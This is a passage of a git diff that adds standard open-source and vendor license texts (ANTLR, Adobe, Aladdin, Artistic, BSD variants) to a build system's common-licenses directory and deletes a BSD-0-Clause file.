+Disclaimer of Warranty: THIS SOFTWARE IS PROVIDED BY A.M.P.A.S. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL A.M.P.A.S., ANY CONTRIBUTORS OR DISTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/ANTLR-PD-fallback b/meta/files/common-licenses/ANTLR-PD-fallback
new file mode 100644
index 0000000000..12bfe73738
--- /dev/null
+++ b/meta/files/common-licenses/ANTLR-PD-fallback
@@ -0,0 +1,7 @@
+ANTLR 2 License
+
+We reserve no legal rights to the ANTLR--it is fully in the public domain. An individual or company may do whatever they wish with source code distributed with ANTLR or the code generated by ANTLR, including the incorporation of ANTLR, or its output, into commerical software.
+
+We encourage users to develop software with ANTLR. However, we do ask that credit is given to us for developing ANTLR. By "credit", we mean that if you use ANTLR or incorporate any source code into one of your programs (commercial product, research project, or otherwise) that you acknowledge this fact somewhere in the documentation, research report, etc... If you like ANTLR and have developed a nice tool with the output, please mention that you developed it using ANTLR. In addition, we ask that the headers remain intact in our source code. As long as these guidelines are kept, we expect to continue enhancing this system and expect to make other tools available as they are completed.
+
+In countries where the Public Domain status of the work may not be valid, the author grants a copyright licence to the general public to deal in the work without restriction and permission to sublicence derivates under the terms of any (OSI approved) Open Source licence.
diff --git a/meta/files/common-licenses/APAFML b/meta/files/common-licenses/APAFML
new file mode 100644
index 0000000000..a7824e26ca
--- /dev/null
+++ b/meta/files/common-licenses/APAFML
@@ -0,0 +1,3 @@
+Copyright (c) 1985, 1987, 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated. All Rights Reserved.
+
+This file and the 14 PostScript(R) AFM files it accompanies may be used, copied, and distributed for any purpose and without charge, with or without modification, provided that all copyright notices are retained; that the AFM files are not distributed without this file; that all modifications to this file or any of the AFM files are prominently noted in the modified file(s); and that this paragraph is not modified. Adobe Systems has no responsibility or obligation to support the use of the AFM files.
diff --git a/meta/files/common-licenses/Abstyles b/meta/files/common-licenses/Abstyles
new file mode 100644
index 0000000000..96027770ec
--- /dev/null
+++ b/meta/files/common-licenses/Abstyles
@@ -0,0 +1,11 @@
+This is APREAMBL.TEX, version 1.10e, written by Hans-Hermann Bode
+(HHBODE@DOSUNI1.BITNET), for the BibTeX `adaptable' family, version 1.10.
+See the file APREAMBL.DOC for a detailed documentation.
+
+This program is distributed WITHOUT ANY WARRANTY, express or implied.
+
+Copyright (C) 1991, 1992 Hans-Hermann Bode
+
+Permission is granted to make and distribute verbatim copies of this document provided that the copyright notice and this permission notice are preserved on all copies.
+
+Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.
diff --git a/meta/files/common-licenses/Adobe-2006 b/meta/files/common-licenses/Adobe-2006
new file mode 100644
index 0000000000..d6fb2634a1
--- /dev/null
+++ b/meta/files/common-licenses/Adobe-2006
@@ -0,0 +1,12 @@
+Adobe Systems Incorporated(r) Source Code License Agreement
+Copyright(c) 2006 Adobe Systems Incorporated. All rights reserved.
+
+Please read this Source Code License Agreement carefully before using the source code.
+
+Adobe Systems Incorporated grants to you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license, to reproduce, prepare derivative works of, publicly display, publicly perform, and distribute this source code and such derivative works in source or object code form without any attribution requirements.
+
+The name "Adobe Systems Incorporated" must not be used to endorse or promote products derived from the source code without prior written permission.
+
+You agree to indemnify, hold harmless and defend Adobe Systems Incorporated from and against any loss, damage, claims or lawsuits, including attorney's fees that arise or result from your use or distribution of the source code.
+
+THIS SOURCE CODE IS PROVIDED "AS IS" AND "WITH ALL FAULTS", WITHOUT ANY TECHNICAL SUPPORT OR ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ALSO, THERE IS NO WARRANTY OF NON-INFRINGEMENT, TITLE OR QUIET ENJOYMENT. IN NO EVENT SHALL MACROMEDIA OR ITS SUPPLIERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOURCE CODE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Adobe-Glyph b/meta/files/common-licenses/Adobe-Glyph
new file mode 100644
index 0000000000..609651d82e
--- /dev/null
+++ b/meta/files/common-licenses/Adobe-Glyph
@@ -0,0 +1,10 @@
+Copyright (c) 1997,1998,2002,2007 Adobe Systems Incorporated
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation file to use, copy, publish, distribute, sublicense, and/or sell copies of the documentation, and to permit others to do the same, provided that:
+
+ - No modification, editing or other alteration of this document is allowed; and
+ - The above copyright notice and this permission notice shall be included in all copies of the documentation.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation file, to create their own derivative works from the content of this document to use, copy, publish, distribute, sublicense, and/or sell the derivative works, and to permit others to do the same, provided that the derived work is not represented as being a copy or version of this document.
+
+Adobe shall not be liable to any party for any loss of revenue or profit or for indirect, incidental, special, consequential, or other similar damages, whether based on tort (including without limitation negligence or strict liability), contract or other legal or equitable grounds even if Adobe has been advised or had reason to know of the possibility of such damages. The Adobe materials are provided on an "AS IS" basis.Ê Adobe specifically disclaims all express, statutory, or implied warranties relating to the Adobe materials, including but not limited to those concerning merchantability or fitness for a particular purpose or non-infringement of any third party rights regarding the Adobe materials.
diff --git a/meta/files/common-licenses/Afmparse b/meta/files/common-licenses/Afmparse
new file mode 100644
index 0000000000..7c6d37ca65
--- /dev/null
+++ b/meta/files/common-licenses/Afmparse
@@ -0,0 +1,10 @@
+(C) 1988, 1989 by Adobe Systems Incorporated. All rights reserved.
+
+This file may be freely copied and redistributed as long as:
+
+ 1) This entire notice continues to be included in the file,
+ 2) If the file has been modified in any way, a notice of such modification is conspicuously indicated.
+
+PostScript, Display PostScript,and Adobe are registered trademarks of Adobe Systems Incorporated.
+
+THE INFORMATION BELOW IS FURNISHED AS IS, IS SUBJECT TO CHANGE WITHOUT NOTICE, AND SHOULD NOT BE CONSTRUED AS A COMMITMENT BY ADOBE SYSTEMS INCORPORATED. ADOBE SYSTEMS INCORPORATED ASSUMES NO RESPONSIBILITY OR LIABILITY FOR ANY ERRORS OR INACCURACIES, MAKES NO WARRANTY OF ANY KIND (EXPRESS, IMPLIED OR STATUTORY) WITH RESPECT TO THIS INFORMATION, AND EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES OF MERCHANTABILITY, FITNESS FOR PARTICULAR PURPOSES AND NONINFRINGEMENT OF THIRD PARTY RIGHTS.
diff --git a/meta/files/common-licenses/Aladdin b/meta/files/common-licenses/Aladdin
new file mode 100644
index 0000000000..5d71ff8ec5
--- /dev/null
+++ b/meta/files/common-licenses/Aladdin
@@ -0,0 +1,62 @@
+Aladdin Free Public License
+(Version 8, November 18, 1999)
+
+Copyright (C) 1994, 1995, 1997, 1998, 1999 Aladdin Enterprises, Menlo Park, California, U.S.A. All rights reserved.
+
+NOTE: This License is not the same as any of the GNU Licenses published by the Free Software Foundation. Its terms are substantially different from those of the GNU Licenses. If you are familiar with the GNU Licenses, please read this license with extra care.
+
+Aladdin Enterprises hereby grants to anyone the permission to apply this License to their own work, as long as the entire License (including the above notices and this paragraph) is copied with no changes, additions, or deletions except for changing the first paragraph of Section 0 to include a suitable description of the work to which the license is being applied and of the person or entity that holds the copyright in the work, and, if the License is being applied to a work created in a country other than the United States, replacing the first paragraph of Section 6 with an appropriate reference to the laws of the appropriate country.
+
+0. Subject Matter
+This License applies to the computer program known as "Aladdin Ghostscript." The "Program", below, refers to such program. The Program is a copyrighted work whose copyright is held by Aladdin Enterprises (the "Licensor"). Please note that Aladdin Ghostscript is neither the program known as "GNU Ghostscript" nor the version of Ghostscript available for commercial licensing from Artifex Software Inc.
+
+A "work based on the Program" means either the Program or any derivative work of the Program, as defined in the United States Copyright Act of 1976, such as a translation or a modification.
+
+BY MODIFYING OR DISTRIBUTING THE PROGRAM (OR ANY WORK BASED ON THE PROGRAM), YOU INDICATE YOUR ACCEPTANCE OF THIS LICENSE TO DO SO, AND ALL ITS TERMS AND CONDITIONS FOR COPYING, DISTRIBUTING OR MODIFYING THE PROGRAM OR WORKS BASED ON IT. NOTHING OTHER THAN THIS LICENSE GRANTS YOU PERMISSION TO MODIFY OR DISTRIBUTE THE PROGRAM OR ITS DERIVATIVE WORKS. THESE ACTIONS ARE PROHIBITED BY LAW. IF YOU DO NOT ACCEPT THESE TERMS AND CONDITIONS, DO NOT MODIFY OR DISTRIBUTE THE PROGRAM.
+
+1. Licenses.
+Licensor hereby grants you the following rights, provided that you comply with all of the restrictions set forth in this License and provided, further, that you distribute an unmodified copy of this License with the Program:
+
+ (a) You may copy and distribute literal (i.e., verbatim) copies of the Program's source code as you receive it throughout the world, in any medium.
+ (b) You may modify the Program, create works based on the Program and distribute copies of such throughout the world, in any medium.
+
+2. Restrictions.
+This license is subject to the following restrictions:
+
+ (a) Distribution of the Program or any work based on the Program by a commercial organization to any third party is prohibited if any payment is made in connection with such distribution, whether directly (as in payment for a copy of the Program) or indirectly (as in payment for some service related to the Program, or payment for some product or service that includes a copy of the Program "without charge"; these are only examples, and not an exhaustive enumeration of prohibited activities). The following methods of distribution involving payment shall not in and of themselves be a violation of this restriction:
+
+ (i) Posting the Program on a public access information storage and retrieval service for which a fee is received for retrieving information (such as an on-line service), provided that the fee is not content-dependent (i.e., the fee would be the same for retrieving the same volume of information consisting of random data) and that access to the service and to the Program is available independent of any other product or service. An example of a service that does not fall under this section is an on-line service that is operated by a company and that is only available to customers of that company. (This is not an exhaustive enumeration.)
+ (ii) Distributing the Program on removable computer-readable media, provided that the files containing the Program are reproduced entirely and verbatim on such media, that all information on such media be redistributable for non-commercial purposes without charge, and that such media are distributed by themselves (except for accompanying documentation) independent of any other product or service. Examples of such media include CD-ROM, magnetic tape, and optical storage media. (This is not intended to be an exhaustive list.) An example of a distribution that does not fall under this section is a CD-ROM included in a book or magazine. (This is not an exhaustive enumeration.)
+
+ (b) Activities other than copying, distribution and modification of the Program are not subject to this License and they are outside its scope. Functional use (running) of the Program is not restricted, and any output produced through the use of the Program is subject to this license only if its contents constitute a work based on the Program (independent of having been made by running the Program).
+
+ (c) You must meet all of the following conditions with respect to any work that you distribute or publish that in whole or in part contains or is derived from the Program or any part thereof ("the Work"):
+
+ (i) If you have modified the Program, you must cause the Work to carry prominent notices stating that you have modified the Program's files and the date of any change. In each source file that you have modified, you must include a prominent notice that you have modified the file, including your name, your e-mail address (if any), and the date and purpose of the change;
+ (ii) You must cause the Work to be licensed as a whole and at no charge to all third parties under the terms of this License;
+ (iii) If the Work normally reads commands interactively when run, you must cause it, at each time the Work commences operation, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty). Such notice must also state that users may redistribute the Work only under the conditions of this License and tell the user how to view the copy of this License included with the Work. (Exceptions: if the Program is interactive but normally prints or displays such an announcement only at the request of a user, such as in an "About box", the Work is required to print or display the notice only under the same circumstances; if the Program itself is interactive but does not normally print such an announcement, the Work is not required to print an announcement.);
+ (iv) You must accompany the Work with the complete corresponding machine-readable source code, delivered on a medium customarily used for software interchange. The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable code. If you distribute with the Work any component that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, you must also distribute the source code of that component if you have it and are allowed to do so;
+ (v) If you distribute any written or printed material at all with the Work, such material must include either a written copy of this License, or a prominent written indication that the Work is covered by this License and written instructions for printing and/or displaying the copy of the License on the distribution medium;
+ (vi) You may not impose any further restrictions on the recipient's exercise of the rights granted herein.
+
+If distribution of executable or object code is made by offering the equivalent ability to copy from a designated place, then offering equivalent ability to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source code along with the object code.
+
+3. Reservation of Rights.
+No rights are granted to the Program except as expressly set forth herein. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+4. Other Restrictions.
+If the distribution and/or use of the Program is restricted in certain countries for any reason, Licensor may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+5. Limitations.
+THE PROGRAM IS PROVIDED TO YOU "AS IS," WITHOUT WARRANTY. THERE IS NO WARRANTY FOR THE PROGRAM, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL LICENSOR, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. General.
+This License is governed by the laws of the State of California, U.S.A., excluding choice of law rules.
+
+If any part of this License is found to be in conflict with the law, that part shall be interpreted in its broadest meaning consistent with the law, and no other parts of the License shall be affected.
+
+For United States Government users, the Program is provided with RESTRICTED RIGHTS. If you are a unit or agency of the United States Government or are acquiring the Program for any such unit or agency, the following apply:
+
+If the unit or agency is the Department of Defense ("DOD"), the Program and its documentation are classified as "commercial computer software" and "commercial computer software documentation" respectively and, pursuant to DFAR Section 227.7202, the Government is acquiring the Program and its documentation in accordance with the terms of this License. If the unit or agency is other than DOD, the Program and its documentation are classified as "commercial computer software" and "commercial computer software documentation" respectively and, pursuant to FAR Section 12.212, the Government is acquiring the Program and its documentation in accordance with the terms of this License.
diff --git a/meta/files/common-licenses/Artistic-1.0-Perl b/meta/files/common-licenses/Artistic-1.0-Perl
new file mode 100644
index 0000000000..dd45f4cd89
--- /dev/null
+++ b/meta/files/common-licenses/Artistic-1.0-Perl
@@ -0,0 +1,51 @@
+The "Artistic License"
+
+Preamble
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder as specified below.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+ b) use the modified Package only within your corporation or organization.
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+ c) give non-standard executables non-standard names, and clearly document the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own. You may embed this Package's interpreter within an executable of yours (by linking); this shall be construed as a mere form of aggregation, provided that the complete Standard Version of the interpreter is so embedded.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whoever generated them, and may be sold commercially, and may be aggregated with this Package. If such scripts or library files are aggregated with this Package via the so-called "undump" or "unexec" methods of producing a binary executable image, then distribution of such an image shall neither be construed as a distribution of this Package nor shall it fall under the restrictions of Paragraphs 3 and 4, provided that you do not represent such an executable image as a Standard Version of this Package.
+
+7. C subroutines (or comparably compiled subroutines in other languages) supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. Aggregation of this Package with a commercial distribution is always permitted provided that the use of this Package is embedded; that is, when no overt attempt is made to make this Package's interfaces visible to the end user of the commercial distribution. Such use shall not be construed as a distribution of this Package.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/Artistic-1.0-cl8 b/meta/files/common-licenses/Artistic-1.0-cl8
new file mode 100644
index 0000000000..6f26f833d0
--- /dev/null
+++ b/meta/files/common-licenses/Artistic-1.0-cl8
@@ -0,0 +1,51 @@
+The Artistic License
+
+Preamble
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as ftp.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+ b) use the modified Package only within your corporation or organization.
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C or perl subroutines supplied by you and linked into this Package shall not be considered part of this Package.
+
+8.Aggregation of this Package with a commercial distribution is always permitted provided that the use of this Package is embedded; that is, when no overt attempt is made to make this Package's interfaces visible to the end user of the commercial distribution. Such use shall not be construed as a distribution of this Package.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/BSD-0-Clause b/meta/files/common-licenses/BSD-0-Clause
deleted file mode 100644
index 328bdd6aee..0000000000
--- a/meta/files/common-licenses/BSD-0-Clause
+++ /dev/null
@@ -1,12 +0,0 @@
-Copyright (C) <YEAR> by <OWNER>
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/BSD-2-Clause-Views b/meta/files/common-licenses/BSD-2-Clause-Views
new file mode 100644
index 0000000000..be605e314d
--- /dev/null
+++ b/meta/files/common-licenses/BSD-2-Clause-Views
@@ -0,0 +1,11 @@
+Copyright (c) <year> <owner> All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the copyright holders or contributors.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Attribution b/meta/files/common-licenses/BSD-3-Clause-Attribution
new file mode 100644
index 0000000000..6dcab5eff0
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Attribution
@@ -0,0 +1,11 @@
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+ 4. Redistributions of any form whatsoever must retain the following acknowledgment: 'This product includes software developed by the "Universidad de Palermo, Argentina" (http://www.palermo.edu/).'
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Clear b/meta/files/common-licenses/BSD-3-Clause-Clear
new file mode 100644
index 0000000000..c6e95da6aa
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Clear
@@ -0,0 +1,32 @@
+The Clear BSD License
+
+Copyright (c) [xxxx]-[xxxx] [Owner Organization]
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted (subject to the limitations in the disclaimer
+below) provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice,
+ this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+
+ * Neither the name of [Owner Organization] nor the names of its
+ contributors may be used to endorse or promote products derived from this
+ software without specific prior written permission.
+
+NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY
+THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
